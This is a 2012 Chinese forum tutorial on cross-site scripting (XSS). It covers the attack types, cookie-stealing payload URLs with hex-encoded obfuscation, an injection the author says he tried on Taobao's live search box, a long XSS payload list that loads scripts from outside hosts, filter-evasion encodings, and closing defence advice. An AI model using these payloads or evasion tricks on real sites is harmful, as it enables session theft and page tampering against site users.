管理员
|
阅读：3406回复：0
Web攻击汇总及攻击方式整理(1)-跨站脚本攻击(XXS攻击)
楼主#
更多
发布于：2012-02-01 16:22
 | |  |  | 跨站脚本攻击(XXS攻击)
背景知识
什么是XSS攻击
XSS攻击：跨站脚本攻击（Cross Site Scripting），为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它 用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略（same origin policy）。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新 型的“缓冲区溢出攻击“，而javaScript是新型的“ShellCode”。
在2007年OWASP所统计的所有安全威胁中，跨站脚本攻击占到了22%，高居所有Web威胁之首。
注：OWASP是世界上最知名的Web安全与数据库安全研究组织
XSS攻击的危害包括
1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
XSS漏洞的分类
XSS漏洞按照攻击利用手法的不同，有以下三种类型：
类型A，本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。
其攻击过程如下所示：
Alice给Bob发送一个恶意构造了Web的URL。
Bob点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。
类型B，反射式漏洞，这种漏洞和类型A有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。
其攻击过程如下：
Alice经常浏览某个网站，此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录，并存储敏感信息（比如银行帐户信息）。
Charly发现Bob的站点包含反射性的XSS漏洞。
Charly编写一个利用漏洞的URL，并将其冒充为来自Bob的邮件发送给Alice。
Alice在登录到Bob的站点后，浏览Charly提供的URL。
嵌入到URL中的恶意脚本在Alice的浏览器中执行，就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息（授权、信用卡、帐号信息等）然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。
类型C，存储式漏洞，该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞，骇客将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄漏的可能，其中也包括了Web服务器的管理员。
其攻击过程如下：
Bob拥有一个Web站点，该站点允许用户发布信息/浏览已发布的信息。
Charly注意到Bob的站点具有类型C的XXS漏洞。
Charly发布一个热点信息，吸引其它用户纷纷阅读。
Bob或者是任何的其他人如Alice浏览该信息，其会话cookies或者其它信息将被Charly盗走。
类型A直接威胁用户个体，而类型B和类型C所威胁的对象都是企业级Web应用。
XSS攻击原理及攻击方式
XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
使用过ASP的同学一定见过这样的代码：
Hello,
<%
Response.Write(Request.Querystring("name"))
%>
假如我传入的name的值为：
<script>x=document.cookie;alert(x);</script>
这样就可以直接盗取用户的cookie。所以我就可以发送一条链接地址让别人去点：
http://www.atcpu.com /reg.asp?name=<script>x=document.cookie;alert(x);</script>
当然这样做没有一点隐蔽性，虽然前面的xxx.com瞒过了少数人，但大多数人可以辨认出后面的javascript代码，所以，我只需要将后面的javascript代码转换成URL的16进制，如：
http://www.atcpu.com /reg.asp?name=<%73%63%72%69%70%74>%78%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%61%6C%65%72%74%28%78%29%3B<%2F%73%63%72%69%70%74>
上面的URL你还认得吗？除非你把它转换出来。（进制转换可以使用Napkin工具，哎，太坏了。。有人问Napkin的下载地址，贴在这里好 了：http://www.0x90.org/releases/napkin/Napkin-1.0-Windows.zip）
根本原因
1. 没有对输入进行约束，没有对输出进行编码
2. 没有严格区分“数据”和“代码”
示例
发现大名鼎鼎的淘宝网也存在这样的漏洞，我们在搜索框中输入：
"/><div style="position:absolute;left:0px;top:0px;"><iframe src="http://www.baidu.com" FRAMEBORDER=0 width=1000 height=900/></div><a href="
这样，我们已经修改了淘宝原有的页面，在下面嵌入了百度的首页。效果如图：
图片：34_3710_ae7c11f9b49fe52.jpg 
使用时机
我尝试在各种不同网站寻找XSS漏洞，baidu, amazon.cn, youku.com, dangdang.com等等。结果，我发现XSS漏洞非常普遍！其实XSS利用的是网页的回显，即，接收用户的输入，然后再在页面显示用户的输入。总结 一下几个可能会出现漏洞的地方：
搜索引擎
留言板
错误页面
通过在上面那些类型的页面输入一些特殊的字符（包括< > / "），如：</?jjkk>，然后在结果页中的源码处搜索是否存在原样的：</?jjkk>，如果存在，恭喜你，发现了一个XSS漏洞。
分类
1. DOM-based cross-site scripting
页面本身包含一些DOM对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。如下面一些DOM操作：
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
举个例子，假如某个脆弱的页面的代码如下：
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
攻击者使用如下的URL访问时，则非常危险：
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
试了一下，貌似IE、FireFox等浏览器默认 对<script>alert(document.cookie)</script>进行了编码，阻止了脚本的执行。但是对于DOM操作还是要更加谨慎啊，比如把上面的页面修改一下，安全性就增强了不少：
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
</SCRIPT>
2. Reflected cross-site scripting
也被称为None-Persistent cross-site scripting，即，非持久化的XSS攻击，是我们通常所说的，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻击，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
实施方式
我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX，发现参数XXX原样的出现在了页面源码中：
<input type="text" class="Seach" name="w" value="XXX" />
OK，可以开始做文章了，我们将XXX替换为：abc"/><script>alert('haha')</script><a href="，返回的HTML代码如下：
<input type="text" class="Seach" name="w" value="abc"/>
<script>alert('haha')</script><!--" />
这样，<script>alert('haha')</script>被执行了。这里再举例一些XSS攻击行为：
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%;()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE=";{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);
更加详细的列表请参见5
XSS攻击防御
基于特征的防御
XSS漏洞和著名的SQL注入漏洞一样，都是利用了Web页面的编写不完善，所以每一个漏洞所利用和针对的弱点都不尽相同。这就给XSS漏洞防御带来了困难：不可能以单一特征来概括所有XSS攻击。
传统XSS防御多采用特征匹配方式，在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击，采用的模式匹配方法一般会需要对 “javascript”这个关键字进行检索，一旦发现提交信息中包含“javascript”，就认定为XSS攻击。这种检测方法的缺陷显而易见：骇客 可以通过插入字符或完全编码的方式躲避检测：
躲避方法1）在javascript中加入多个tab键，得到
< IMG SRC="jav ascript:alert('XSS');" >；
躲避方法2) 在javascript中加入;#x09编码字符，得到
< IMG SRC="javascript:alert('XSS');" >；
躲避方法3) 在javascript中加入
字符，得到
< IMG SRC="javascript:alert('XSS');" >；
躲避方法4）在javascript中的每个字符间加入回车换行符，得到
< IMG SRC="j/r/na/r/nv/r/n/r/na/r/ns/r/nc/r/nr/r/ni/r/np/r/nt/r/n:alert('XSS');" >
躲避方法5）对"javascript:alert('XSS')"采用完全编码，得到
< IMGSRC=;#x6A;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3A;#x61;#x6C;#x65;#x72;#x74;#x28;#x27;#x58;#x53;#x53;#x27;#x29 >
上述方法都可以很容易的躲避基于特征的检测。而除了会有大量的漏报外，基于特征的
还存在大量的误报可能：在上面的例子中，对"http://www.atcpu.com /javascript/kkk.asp?id=2345"这样一个URL，由于包含了关键字“javascript”，也将会触发报警。
基于代码修改的防御
和SQL注入防御一样，XSS攻击也是利用了Web页面的编写疏忽，所以还有一种方法就是从Web应用开发的角度来避免：
步骤1、对所有用户提交内容进行可靠的输入验证，包括对URL、查询关键字、HTTP头、POST数据等，仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交，对其他的一律过滤。
步骤2、实现Session标记（session tokens）、CAPTCHA系统或者HTTP引用头检查，以防功能被第三方网站所执行。
步骤3、确认接收的的内容被妥善的规范化，仅包含最小的、安全的Tag（没有javascript），去掉任何对远程内容的引用（尤其是样式表和javascript），使用HTTP only的cookie。
当然，如上操作将会降低Web业务系统的可用性，用户仅能输入少量的制定字符，人与系统间的交互被降到极致，仅适用于信息发布型站点。并且考虑到很少有Web编码人员受过正规的安全培训，很难做到完全避免页面中的XSS漏洞（注 ）。
| |  | |  |
|
